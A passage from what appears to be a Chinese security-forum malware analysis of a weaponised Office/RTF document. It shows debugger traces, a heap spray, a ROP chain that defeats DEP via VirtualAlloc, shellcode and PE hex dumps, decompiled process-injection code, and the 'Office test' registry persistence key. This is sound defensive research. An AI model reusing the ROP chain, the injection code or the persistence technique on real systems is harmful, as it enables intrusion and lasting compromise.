64969868 e84fdefff    call    wlib!DllGetClassC
0:000> dd esp
001a59f8 001a5a40 7c38bd8c 00000007 00000005
001a5a08 001a5a20 64969832 017759f8 00000005
001a5a18 001a5a40 01770e30 001a7efc 64e3a90d
001a5a28 017759f8 001a5a40 00000012 01f00000
001a5a38 00000000 00000001 ffffef56 00000000
001a5a48 00000001 00000000 635c76ac 00000000
001a5a58 635c3410 8f6f5fae 001a5a6c 00000000
001a5a68 02090cf0 001a5bd8 02090c5c 001a5a90
0:000> dd 001a5a40
001a5a40 ffffef56 00000000 00000001 00000000
001a5a50 635c76ac 00000000 635c3410 8f6f5fae
001a5a60 001a5a6c 00000000 02090cf0 001a5bd8
001a5a70 02090c5c 001a5a90 020987e0 647cab47
001a5a80 001a5b54 7778573e 001a5bd0 001a5bd8
001a5a90 001a5bbc 00000000 00000000 00000000
001a5aa0 001a5b14 001a5b00 001a5af0 02090b98
001a5ab0 02090c10 00000001 00000001 777858ad

```

```

0:000> g
Breakpoint 1 hit
eax=01794710 ebx=01f00948 ecx=01794580 edx=00000004
eip=64969868 esp=001a7ed4 ebp=001a7ee4 iopl=0
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wlib!DllGetClassObject+0x428c:
64969868 e84fdefff    call    wlib!DllGetClassOb
0:000> g
Breakpoint 1 hit
eax=7c38a430 ebx=01f00000 ecx=7c38bd80 edx=00000009
eip=64969868 esp=001a59f8 ebp=001a5a08 iopl=0
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wlib!DllGetClassObject+0x428c:
wlib!DllGetClassObject+0x428c:
64969868 e84fdefff    call    wlib!DllGetClassOb
0:000> dd esp
001a59f8 001a5a40 7c38a430 0000000a 00000009
001a5a08 001a5a20 64969832 017759f8 00000009
001a5a18 001a5a40 01770e30 001a7efc 64e3a90d
001a5a28 017759f8 001a5a40 00000012 01f00000
001a5a38 00000000 00000001 0b800aa0 00000000
001a5a48 00000001 00000000 635c76ac 00000000
001a5a58 635c3410 8f6f5fae 001a5a6c 00000000
001a5a68 02090cf0 001a5bd8 02090c5c 001a5a90
0:000> dd 001a5a40
001a5a40 0b800aa0 00000000 00000001 00000000
001a5a50 635c76ac 00000000 635c3410 8f6f5fae
001a5a60 001a5a6c 00000000 02090cf0 001a5bd8
001a5a70 02090c5c 001a5a90 020987e0 647cab47
001a5a80 001a5b54 7778573e 001a5bd0 001a5bd8

```

```

CHILDRED!RtlpAdd!RtlpAdd: High CPU usage
WARNING: Stack unwind information not available. Following frames may be wrong.
14ecfdd0 77c189d8 7c340000 00000003 00000000 MSVCR71!ldexp+0x20d7
14ecfdd0 77bfe73a 7c34229b 7c340000 00000003 ntdll!wcsncmp+0x4c
14ecfe94 77bfe63b 00000000 00000000 14ecfe90 ntdll!LdrShutdownThread+0xe2
14ecfea4 77923c4c 00000000 14ecfef0 77c237f5 ntdll!RtlExitUserThread+0x2a
14ecfeb0 77c237f5 6583a6fc 6279b126 00000000 kernel32!BaseThreadInitThunk+0x19
14ecfef0 77c237c8 64a51ef5 6583a6fc ffffffff ntdll!RtlInitializeExceptionChain+0xef
14ecff08 00000000 64a51ef5 6583a6fc 00000000 ntdll!RtlInitializeExceptionChain+0xc2
0:007> r
eax=00000000 ebx=062131e8 ecx=0b800aa0 edx=00000020 esi=14ecfde4 edi=00000000
eip=7c376fc3 esp=14ecfdb8 ebp=14ecfdd0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSVCR71!ldexp+0x20d7:
7c376fc3 5e                pop     esi
0:007> dd esp
14ecfdb8 7c342278 0b800aa0 7c342298 00000000
14ecfdc8 00000000 14ecfde4 14ecfdf0 77c189d8
14ecfdd8 7c340000 00000003 00000000 062131e8
14ecfde8 00000000 06213358 14ecfe94 77bfe73a
14ecfdf8 7c34229b 7c340000 00000003 00000000
14ecfe08 6279b142 00000000 00000000 6583a6fc
14ecfe18 00000001 00000000 14ecfe34 14ecfe74
14ecfe28 14ecfe74 14ecfe74 00000001 14ecfe80

```

0:007> |

## Disassembly

Offset: eip

```

7c376f97 c3                ret
7c376f98 8b5de4           mov     ebx,dword ptr [ebp-1Ch]
7c376f9b eb0a           jmp     MSVCR71!ldexp+0x20bb (7c376fa7)
7c376f9d 8b5de4           mov     ebx,dword ptr [ebp-1Ch]
7c376fa0 33c0            xor     eax,eax
7c376fa2 40             inc     eax
7c376fa3 c3                ret
7c376fa4 8b5de4           mov     ebx,dword ptr [ebp-1Ch]
7c376fa7 8b65e8           mov     esp,dword ptr [ebp-18h]
7c376faa 834dfcfff       or      dword ptr [ebp-4],0FFFFFFFh
7c376fae 33c0            xor     eax,eax
7c376fb0 8b4df0           mov     ecx,dword ptr [ebp-10h]
7c376fb3 64890d00000000 mov     dword ptr fs:[0],ecx
7c376fba 8b4ddc           mov     ecx,dword ptr [ebp-24h]
7c376fbd e827abfcff       call    MSVCR71!strlen+0x318 (7c341ae9)
7c376fc2 5f             pop     edi
7c376fc3 5e             pop     esi
7c376fc4 5b             pop     ebx
7c376fc5 8be5           mov     esp,ebp
7c376fc7 5d             pop     ebp

```

通过栈回溯，发现通过之前写入的地址读取了写入的值

```

7c342255 5b             pop     ecx
7c342256 e8e7000000       call    MSVCR71!free+0x1f5 (7c342342)
7c34225b c20400          ret     4
7c34225e 8b0d30a4387c    mov     ecx,dword ptr [MSVCR71!aexit_rtn+0x4 (7c38a430)]
7c342264 83f9ff         cmp     ecx,0FFFFFFFh
7c342267 7423           je      MSVCR71!free+0x13f (7c34228c)
7c342269 8b442404        mov     eax,dword ptr [esp+4]
7c34226d 85c0           test    eax,eax
7c34226f 7507           jne     MSVCR71!free+0x12b (7c342278)
7c342271 5f             push    ecx
7c342272 ff1528a4387c    call    dword ptr [MSVCR71!__non_rtti_object::`vftable'+0xb3d0 (7c38a428)]
7c342278 50             push    eax
7c342279 e820ffffffffff call    MSVCR71!free+0x51 (7c34219e)
7c34227e 6a00           push    0

```

## 分析堆喷与shellcode

首先分析下，esp返回的精心构造的地址为0b800aa0,看下这个地址

```

0:007> !heap -p -a 0b800aa0
address 0b800aa0 found in
_HEAP @ 370000
HEAP_ENTRY Size Prev Flags      UserPtr UserSize - state
0b7d0018 ffe0 0000 [00] 0b7d0020 7ff00 - (busy VirtualAlloc)



















```

进行查看可以看到样本进行堆喷的地址



0b0d0018	ffe0	ffe0	[00]	0b0d0020	7ff00	-	(busy VirtualAlloc)
0b150018	ffe0	ffe0	[00]	0b150020	7ff00	-	(busy VirtualAlloc)
0b1d0018	ffe0	ffe0	[00]	0b1d0020	7ff00	-	(busy VirtualAlloc)
0b250018	ffe0	ffe0	[00]	0b250020	7ff00	-	(busy VirtualAlloc)
0b2d0018	ffe0	ffe0	[00]	0b2d0020	7ff00	-	(busy VirtualAlloc)
0b350018	ffe0	ffe0	[00]	0b350020	7ff00	-	(busy VirtualAlloc)
0b3d0018	ffe0	ffe0	[00]	0b3d0020	7ff00	-	(busy VirtualAlloc)
0b450018	ffe0	ffe0	[00]	0b450020	7ff00	-	(busy VirtualAlloc)
0b4d0018	ffe0	ffe0	[00]	0b4d0020	7ff00	-	(busy VirtualAlloc)
0b550018	ffe0	ffe0	[00]	0b550020	7ff00	-	(busy VirtualAlloc)
0b5d0018	ffe0	ffe0	[00]	0b5d0020	7ff00	-	(busy VirtualAlloc)
0b650018	ffe0	ffe0	[00]	0b650020	7ff00	-	(busy VirtualAlloc)
0b6d0018	ffe0	ffe0	[00]	0b6d0020	7ff00	-	(busy VirtualAlloc)
0b750018	ffe0	ffe0	[00]	0b750020	7ff00	-	(busy VirtualAlloc)
0b7d0018	ffe0	ffe0	[00]	0b7d0020	7ff00	-	(busy VirtualAlloc)
0b850018	ffe0	ffe0	[00]	0b850020	7ff00	-	(busy VirtualAlloc)
0b8d0018	ffe0	ffe0	[00]	0b8d0020	7ff00	-	(busy VirtualAlloc)
0b950018	ffe0	ffe0	[00]	0b950020	7ff00	-	(busy VirtualAlloc)
0b9d0018	ffe0	ffe0	[00]	0b9d0020	7ff00	-	(busy VirtualAlloc)
0ba50018	ffe0	ffe0	[00]	0ba50020	7ff00	-	(busy VirtualAlloc)
0bad0018	ffe0	ffe0	[00]	0bad0020	7ff00	-	(busy VirtualAlloc)
0bb50018	ffe0	ffe0	[00]	0bb50020	7ff00	-	(busy VirtualAlloc)
0bbd0018	ffe0	ffe0	[00]	0bbd0020	7ff00	-	(busy VirtualAlloc)
0bc50018	ffe0	ffe0	[00]	0bc50020	7ff00	-	(busy VirtualAlloc)
0bcd0018	ffe0	ffe0	[00]	0bcd0020	7ff00	-	(busy VirtualAlloc)
0bd50018	ffe0	ffe0	[00]	0bd50020	7ff00	-	(busy VirtualAlloc)
0bdd0018	ffe0	ffe0	[00]	0bdd0020	7ff00	-	(busy VirtualAlloc)
0be50018	ffe0	ffe0	[00]	0be50020	7ff00	-	(busy VirtualAlloc)
0bed0018	ffe0	ffe0	[00]	0bed0020	7ff00	-	(busy VirtualAlloc)
0bf50018	ffe0	ffe0	[00]	0bf50020	7ff00	-	(busy VirtualAlloc)
0bfd0018	ffe0	ffe0	[00]	0bfd0020	7ff00	-	(busy VirtualAlloc)

查看rtf文件中的ole文件，找到activeX进行堆喷的地方，将activeX2堆喷到进程空间中

 activeX1.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX2.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX3.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX4.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX5.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX6.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX7.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX8.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX9.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX10.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX11.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX12.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX13.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX14.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX15.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX16.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX17.xml.rels	2016/5/20 23:50	XML 文档	1 KB
 activeX18.xml.rels	2016/5/20 23:50	XML 文档	1 KB

我们分析的ROP链，如下所示

```

0:007> dds esp
0b800aa4 7c365ad2 MSVCR71!lfind+0x2c
0b800aa8 7c365ad2 MSVCR71!lfind+0x2c
0b800aac 7c3496a5 MSVCR71!beginthreadex+0x11b
0b800ab0 00002000
0b800ab4 7c3458bc MSVCR71!modf+0x3fe
0b800ab8 00001000
0b800abc 7c3592e6 MSVCR71!_CxxCallUnwindVecDtor+0x1f9
0b800ac0 00000040
0b800ac4 7c341138 MSVCR71+0x1138
0b800ac8 7c346c0b MSVCR71!modf+0x174d
0b800acc 7c372609 MSVCR71!_STRINGTOLD+0x157
0b800ad0 7c3415a3 MSVCR71!_crtLCMapStringA+0x1f4
0b800ad4 7c3761ef MSVCR71!ldexp+0x1303
0b800ad8 7c37a0a5 MSVCR71!ldexp+0x51b9
0b800adc 7c378c4d MSVCR71!ldexp+0x3d61
0b800ae0 7c372d20 MSVCR71!atoldbl+0x444
0b800ae4 8c66d231
0b800ae8 23fb80cb

```

ROP主要使用函数

kernel32!VirtualAlloc：使用此函数声明0x0b800ae0这段内存可执行，来绕过DEP

```

Usage:                <unclassified>
Allocation Base:      0b7d0000
Base Address:         0b800000
End Address:          0b803000
Region Size:          00003000
Type:                 00020000
State:                00001000
Protect:              00000040 MEM_PRIVATE
                     MEM_COMMIT
                     PAGE_EXECUTE_READWRITE

```

之后跳转之后，就是shellcode了

Shellcode主要功能，通过解密出一个DLL文件

```

tial: 7ff60000|
Display format: Byte
60000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 MZ.....
6001c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
60038 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 .....
60054 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 rogram cannot
60070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 ba f1 3d 41 fe 90 53 12 fe 90 53 12 mode...$.
6008c fe 90 53 12 3a 55 9c 12 e2 90 53 12 3a 55 9e 12 f2 90 53 12 3a 55 9d 12 93 90 53 12 ..S.:U...S.:
600a8 fe 90 52 12 9d 90 53 12 02 e7 ea 12 f9 90 53 12 d9 56 80 12 f8 90 53 12 d9 56 9a 12 ..R...S.....
600c4 ff 90 53 12 d9 56 9f 12 ff 90 53 12 52 69 63 68 fe 90 53 12 00 00 00 00 00 00 00 00 ..S..V...S.R:
600e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 31 32 3f 57 .....
600fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

```

该DLL文件的主要作用，首先获取3个资源

```

NumberOfBytesWritten = 0;
if ( fdwReason == 1 )
{
    v3 = GetCurrentProcess();
    hProcess = v3;
    if ( !v3 )
        TerminateProcess(0, 0);
    K32GetModuleFileNameExW(v3, 0, &File, 260);
    hResInfo = FindResourceW(hinstDLL, (LPCWSTR)0x65, L"RT_DLL");
    v28 = FindResourceW(hinstDLL, (LPCWSTR)0x67, L"RT_DLL");
    v17 = FindResourceW(hinstDLL, (LPCWSTR)0x68, L"RT_DLL");
    if ( hResInfo == 0 || v28 == 0 || v17 == 0 )
        TerminateProcess(v3, 0);
    hResData = LoadResource(hinstDLL, hResInfo);
    v22 = LoadResource(hinstDLL, v28);
    v20 = LoadResource(hinstDLL, v17);
    if ( hResData == 0 || v22 == 0 || v20 == 0 )
        TerminateProcess(v3, 0);
    hResDataa = LockResource(hResData);
    nNumberOfBytesToWrite = LockResource(v22);
    lpBuffer = LockResource(v20);
    if ( hResDataa == 0 || nNumberOfBytesToWrite == 0 || lpBuffer == 0 )
        TerminateProcess(v3, 0);
    hResInfoa = (HRSRC)SizeofResource(hinstDLL, hResInfo);

```

一个是PE文件

RT\_DLL

101 - [lang:1033]

103 - [lang:1033]

104 - [lang:1033]

Offset	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F
00000000	4D	5A	90	00	03	00	00	00	04	00	00	00	FF	FF	00	00
00000010	B8	00	00	00	00	00	00	00	40	00	00	00	00	00	00	00
00000020	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00000030	00	00	00	00	00	00	00	00	00	00	00	00	E0	00	00	00
00000040	0E	1F	BA	0E	00	B4	09	CD	21	B8	01	4C	CD	21	54	68
00000050	69	73	20	70	72	6F	67	72	61	6D	20	63	61	6E	6E	6F
00000060	74	20	62	65	20	72	75	6E	20	69	6E	20	44	4F	53	20
00000070	6D	6F	64	65	2E	0D	0D	0A	24	00	00	00	00	00	00	00
00000080	BD	9D	9D	64	F9	FC	F3	37	F9	FC	F3	37	F9	FC	F3	37
00000090	96	8A	58	37	E0	FC	F3	37	96	8A	6D	37	F6	FC	F3	37
000000A0	96	8A	59	37	BC	FC	F3	37	F0	84	60	37	F0	FC	F3	37
000000B0	F9	FC	F2	37	AE	FC	F3	37	96	8A	5C	37	FE	FC	F3	37
000000C0	96	8A	68	37	F8	FC	F3	37	96	8A	6E	37	F8	FC	F3	37
000000D0	F9	FC	F2	37	AE	FC	F3	37	00	00	00	00	00	00	00	00

一个RTF文件

RT\_DLL

101 - [lang:1033]

103 - [lang:1033]

104 - [lang:1033]

Offset	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	Ascii
00000000	7B	5C	72	74	66	31	5C	61	64	65	66	6C	61	6E	67	31	{\rtf1\adeflangl
00000010	30	32	35	5C	61	6E	73	69	5C	61	6E	73	69	63	70	67	025\ansi\ansicpg
00000020	31	32	35	32	5C	75	63	31	5C	61	64	65	66	66	33	39	1252\uc1\adef39
00000030	5C	64	65	66	66	30	5C	73	74	73	68	66	64	62	63	68	\deff0\stshfdbch
00000040	33	31	35	30	35	5C	73	74	73	68	66	6C	6F	63	68	33	31505\stshfloch3
00000050	31	35	30	36	5C	73	74	73	68	66	68	69	63	68	33	31	1506\stshfhich31
00000060	35	30	36	5C	73	74	73	68	66	62	69	30	5C	64	65	66	506\stshfbi0\def
00000070	6C	61	6E	67	31	30	33	33	5C	64	65	66	6C	61	6E	67	lang1033\deflang
00000080	66	65	31	30	33	33	5C	74	68	65	6D	65	6C	61	6E	67	fe1033\themelang
00000090	31	30	34	39	5C	74	68	65	6D	65	6C	61	6E	67	66	65	1049\themelangfe
000000A0	30	5C	74	68	65	6D	65	6C	61	6E	67	63	73	30	7B	5C	0\themelangcs0{\
000000B0	66	6F	6E	74	74	62	6C	7B	5C	66	30	5C	66	62	69	64	fonttbl{\f0\fbid
000000C0	69	20	5C	66	72	6F	6D	61	6E	5C	66	63	68	61	72	73	i \froman\fchars

是一段shellcode

RT\_DLL"

101 - [lang:1033]

103 - [lang:1033]

104 - [lang:1033]

Offset	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	Ascii	
00000000	55	8B	EC	81	EC	7C	01	00	00	C6	45	AC	4B	C6	45	AD	U i i   .ÆE-KÆE-	
00000010	45	C6	45	AE	52	C6	45	AF	4E	C6	45	B0	45	C6	45	B1	EÆE@RÆE`NÆE`EÆE±	
00000020	4C	C6	45	B2	33	C6	45	B3	32	C6	45	B4	2E	C6	45	B5	LÆE²3ÆE³2ÆE´.ÆEp	
00000030	64	C6	45	B6	6C	C6	45	B7	6C	C6	45	B8	00	C6	85	38	dÆE¶lÆE.lÆE..Æ 8	
00000040	FF	FF	FF	4B	C6	85	39	FF	FF	FF	00	C6	85	3A	FF	FF	yyyKÆ 9yyy.Æ :yy	
00000050	FF	45	C6	85	3B	FF	FF	FF	00	C6	85	3C	FF	FF	FF	52	yEÆ :yyy.Æ <yyyR	
00000060	C6	85	3D	FF	FF	FF	00	C6	85	3E	FF	FF	FF	FF	4E	C6	85	Æ =yyy.Æ >yyyNÆ
00000070	3F	FF	FF	FF	00	C6	85	40	FF	FF	FF	45	C6	85	41	FF	?yyy.Æ @yyyEÆ Ay	

Address	Uppcode	Instruction
L_00000000:	55	push ebp
L_00000001:	8B EC	mov ebp, esp
L_00000003:	81 EC 7C 01 00 00	sub esp, 0x17c
L_00000009:	C6 45 AC 4B	mov byte [ebp-0x54], 0x4b
L_0000000D:	C6 45 AD 45	mov byte [ebp-0x53], 0x45
L_00000011:	C6 45 AE 52	mov byte [ebp-0x52], 0x52
L_00000015:	C6 45 AF 4E	mov byte [ebp-0x51], 0x4e
L_00000019:	C6 45 B0 45	mov byte [ebp-0x50], 0x45
L_0000001D:	C6 45 B1 4C	mov byte [ebp-0x4f], 0x4c
L_00000021:	C6 45 B2 33	mov byte [ebp-0x4e], 0x33
L_00000025:	C6 45 B3 32	mov byte [ebp-0x4d], 0x32
L_00000029:	C6 45 B4 2E	mov byte [ebp-0x4c], 0x2e
L_0000002D:	C6 45 B5 64	mov byte [ebp-0x4b], 0x64
L_00000031:	C6 45 B6 6C	mov byte [ebp-0x4a], 0x6c
L_00000035:	C6 45 B7 6C	mov byte [ebp-0x49], 0x6c
L_00000039:	C6 45 B8 00	mov byte [ebp-0x48], 0x0
L_0000003D:	C6 85 3A FF FF FF 4B	mov byte [ebp-0x54], 0x4b

之后开辟一段内存，并分别将shellcode跟pe文件拷贝到这段内存中

```

22 pe = (LPCVOID)a3;
23 size_shellcode = a1;
24 shellcode = a2;
25 String2 = 0;
26 memset(&v20, 0, 0x103u);
27 v6 = VirtualAllocEx(hProcess, 0, size_shellcode + nSize, 0x103000u, 0x40u);
28 if ( v6 )
29 {
30     WriteProcessMemory(hProcess, v6, shellcode, size_shellcode, &NumberOfBytesWritten);
31     if ( NumberOfBytesWritten == size_shellcode )
32     {
33         WriteProcessMemory(hProcess, (char *)v6 + size_shellcode, pe, nSize, &NumberOfBytesWritten);
34         if ( NumberOfBytesWritten == nSize )
35         {

```

最后执行shellcode,shellcode主要是建立下面PE文件导入表等等的初始化工作

```

0 {
1 LABEL_15:
2     printf("Starting offset = 0x%08X\r\n", v6);
3     ((void (__cdecl *) (LPCVOID))v6)(lpBuffera);
4     return 0;
5 }

```

```

:00000000      assume es:nothing, ss:nothing, ds:nothing, fs
:00000000      push     ebp
:00000001      mov      ebp, esp
:00000003      sub      esp, 17Ch
:00000009      mov      byte ptr [ebp-54h], 48h ; 'K'
:0000000D      mov      byte ptr [ebp-53h], 45h ; 'E'
:00000011      mov      byte ptr [ebp-52h], 52h ; 'R'
:00000015      mov      byte ptr [ebp-51h], 4Eh ; 'N'
:00000019      mov      byte ptr [ebp-50h], 45h ; 'E'
:0000001D      mov      byte ptr [ebp-4Fh], 4Ch ; 'L'
:00000021      mov      byte ptr [ebp-4Eh], 33h ; '3'
:00000025      mov      byte ptr [ebp-4Dh], 32h ; '2'
:00000029      mov      byte ptr [ebp-4Ch], 2Eh ; '.'
:0000002D      mov      byte ptr [ebp-4Bh], 64h ; 'd'
:00000031      mov      byte ptr [ebp-4Ah], 6Ch ; 'l'
:00000035      mov      byte ptr [ebp-49h], 6Ch ; 'l'
:00000039      mov      byte ptr [ebp-48h], 0
:0000003D      mov      byte ptr [ebp-0C8h], 48h ; 'K'
:00000044      mov      byte ptr [ebp-0C7h], 0
:0000004B      mov      byte ptr [ebp-0C6h], 45h ; 'E'

```

然后执行从资源文件中取出的PE文件，该文件主要是先创建两个DLL文件

C:\ProgramData\svchost.dll

C:\Users\sunqiang\AppData\Roaming\btecache.dll

```

9
10 v0 = GetProcessHeap();
11 v1 = HeapAlloc(v0, 8u, 0x200u);
12 if ( v1
13     && (lpMem = HeapAlloc(v0, 8u, 0x200u)) != 0
14     && (GetEnvironmentVariableW(L"ALLUSERSPROFILE", (LPWSTR)v1, 0x200u),
15         lstrcatW((LPWSTR)v1, &String2),
16         lstrcatW((LPWSTR)v1, L"svchost.dll"), signed int
17         word_10016730 = 23117,
18         v3 = CreateFileW((LPCWSTR)v1, 4u, 2u, 0, 2u, 6u, 0),
19         v3 != (HANDLE)-1) )
20 {
21     NumberOfBytesWritten = 0;
22     WriteFile(v3, &word_10016730, 0x8200u, &NumberOfBytesWritten, 0);
23     CloseHandle(v3);
24     HeapFree(v0, 8u, v1);
25     HeapFree(v0, 8u, lpMem);

```

最后在一个有趣的注册表

HKEY\_CURRENT\_USER\Software\Microsoft\Office test\Special\Perf键值

```

3 | int result; // eax@2
4 | WCHAR *v1; // esi@4
5 | HKEY hKey; // [sp+0h] [bp-8h]@3
6 | HKEY phkResult; // [sp+4h] [bp-4h]@1
7 |
8 | if ( RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft", 0, 2u, &phkResult)
9 |     || RegCreateKeyExW(phkResult, L"Office test\\Special\\Perf", 0, 0, 0, 0xF003Fu, 0, &hKey, 0) )
10 | {
11 |     result = 0;
12 | }
13 | else
14 | {
15 |     v1 = (WCHAR *)calloc(0x400u, 2u);
16 |     GetEnvironmentVariableW(L"APPDATA", v1, 0x400u);
17 |     lstrcatW(v1, &String2);
18 |     lstrcatW(v1, L"btecache.dll");
19 |     result = RegSetValueExW(hKey, &ValueName, 0, 1u, (const BYTE *)v1, 2 * wcslen(v1)) == 0;
20 | }
21 | return result;

```

这个键值是释放的DLL

C:\Users\sunqiang\AppData\Roaming\btecache.dll，这个不会随着开机启动，而是每次打开office程序时候，会加载这个DLL，实现木马的持久化



编辑(E) 查看(V) 收藏夹(A) 帮助(H)

Keyboard

MediaPlayer

MS Design Tools

MS Setup (ACME)

MSDAIPP

MSF

Multimedia

Notepad

Office

Office test

Special

Perf

PeerNet

Protected Storage System

...

名称	类型	数据
ab (默认)	REG_SZ	C:\Users\sunqiang\AppData\Roaming\btecache.c

先知社区

在测试中，资源中的rtf文件没有处理直接停止了进程

```
0  rtf_1a = v6;
1  if ( !v6 )
2  {
3      TerminateProcess(v3, 0);
4      v6 = rtf_1a;
5  }
```

参考文章

- <https://www.anquanke.com/post/id/103080>
- <https://www.fortinet.com/blog/threat-research/cve-2017-11826-exploited-in-the-wild-with-politically-themed-rtf-document.html>
- <https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/>

点击收藏 | 0 关注 | 2

[上一篇：浅析largebin attack](#) [下一篇：RCTF 2019 Web Wri...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)